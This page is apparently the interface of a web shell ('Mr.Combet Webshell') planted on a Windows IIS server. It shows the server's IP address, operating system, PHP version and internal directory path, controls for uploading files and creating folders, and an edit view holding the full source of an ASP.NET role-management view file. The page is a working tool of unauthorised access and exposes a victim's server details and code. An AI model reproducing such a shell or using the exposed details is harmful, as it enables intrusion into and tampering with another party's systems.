Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
User
/
Edit File Name :
RoleManagement.cshtml
@using PagedList.Mvc; @model List<RER_Project.DataAccess.Functions.Fn_get_navigation_by_role> @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ var meta = AppUserService.GetCurrent(); } @{ ViewBag.Title = "Role Management"; Layout = "~/Views/Shared/_Layout.cshtml"; } <div class="wrapper wrapper-content animated"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label><b>Role Management</b></label> <hr /> <form id="RoleList"> <div class="row"> <div class="form-group col-md-3"> <label><strong>Role </strong></label> <select class="required form-control" id="role_id" onchange="getChangeRole()" name="role_id" data-api="/roles/select"></select> </div> </div> <div id="loadPartialView"> </div> </form> </div> </div> </div> </div> </div> <script> $(document).ready(function () { debugger; window.initializeSelectApis(); window.initializeCascadeLocation(); const form = $("#CreateUserForm"); }); function getChangeRole() { $('#loadPartialView').load("/users/roleslist", JSON.parse(getSearchModel()), function (response, status, xhr) { if (status == "error") { var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg + xhr.status + " " + xhr.statusText); }; WorkForce.loader.hide(); }); } function getSearchModel() { var ActivityFilterVM = { roleid: $('#role_id').val() }; var model = JSON.stringify(ActivityFilterVM); return model; } $(document).on('change', '.chAccess', function () { var row = $(this).closest('tr'); if ($(this).is(':checked')) { $(row).find('#Read').prop("disabled", false); $(row).find('#Delete').prop("disabled", false); $(row).find('#Edit').prop("disabled", false); $(row).find('#Insert').prop("disabled", false); } else { $(row).find('#Read').prop("checked", false); $(row).find('#Delete').prop("checked", false); $(row).find('#Edit').prop("checked", false); $(row).find('#Insert').prop("checked", false); $(row).find('#Read').prop("disabled", true); $(row).find('#Delete').prop("disabled", true); $(row).find('#Edit').prop("disabled", true); $(row).find('#Insert').prop("disabled", true); } }); function SubmitRole() { debugger; var tableData = []; $('table tbody tr').each(function () { var rowData = {}; rowData.Id = $(this).find('#Id').text(); rowData.main_module = $(this).find('#main_module').text(); rowData.sub_module = $(this).find('#sub_module').text(); rowData.Access = $(this).find('#Access').is(':checked'); rowData.Read = $(this).find('#Read').is(':checked'); rowData.Delete = $(this).find('#Delete').is(':checked'); rowData.Edit = $(this).find('#Edit').is(':checked'); rowData.Insert = $(this).find('#Insert').is(':checked'); tableData.push(rowData); }); debugger; var role = $('#role_id').val(); tableData[0].role_id = role; debugger; console.log("tableData", tableData); const data = JSON.stringify(tableData); const url = "/SubmitRoleForNavigation"; return window.getAjaxRequest(url, "POST", data); } </script>
Save